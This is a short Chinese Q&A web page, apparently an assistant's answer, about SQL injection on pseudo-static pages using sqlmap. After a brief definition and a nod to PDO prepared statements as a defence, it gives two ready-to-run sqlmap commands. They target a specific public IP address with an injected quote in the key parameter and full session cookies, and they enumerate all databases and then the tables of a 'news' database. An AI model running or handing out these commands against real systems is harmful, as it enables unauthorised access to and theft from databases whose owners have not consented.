伪静态sql注入sqlmap
时间: 2023-10-08 12:14:18 浏览: 158
php防止sql注入的方法详解
伪静态SQL注入是指在伪静态页面中通过注入恶意的SQL语句来获取或修改数据库中的信息。与真实的静态页面不同,伪静态页面是通过服务器脚本将动态内容转化为静态的HTML页面。在注入防御方面,PDO(PHP Data Object)预处理是一种常用的技术。PDO是PHP的一个拓展模块,它通过预处理语句直接将不符合规范的变量处理掉,从而有效地防止了SQL注入攻击。
至于使用sqlmap进行伪静态SQL注入测试,您可以使用以下命令来查询所有数据库名称:
```
sqlmap.py -u "http://47.103.94.191:8001/front/getNewsByKeyword.php?key=1'and 1=1" --cookie="PHPSESSID=6nsukkbv4l6lpb6vm9ltgvmp83;ECS_ID=fe88eb728f88fc0220c58960aedda4c9eea2d307;ECS[visit_times]=1;ECS[history]=32;ECS[display]=grid" -dbs
```
您可以使用以下命令来查询news库中的表名:
```
sqlmap.py -u "http://47.103.94.191:8001/front/getNewsByKeyword.php?key=1'and 1=1" --cookie="PHPSESSID=6nsukkbv4l6lpb6vm9ltgvmp83;ECS_ID=fe88eb728f88fc0220c58960aedda4c9eea2d307;ECS[visit_times]=1;ECS[history]=32;ECS[display]=grid" -D "news" --tables
```
阅读全文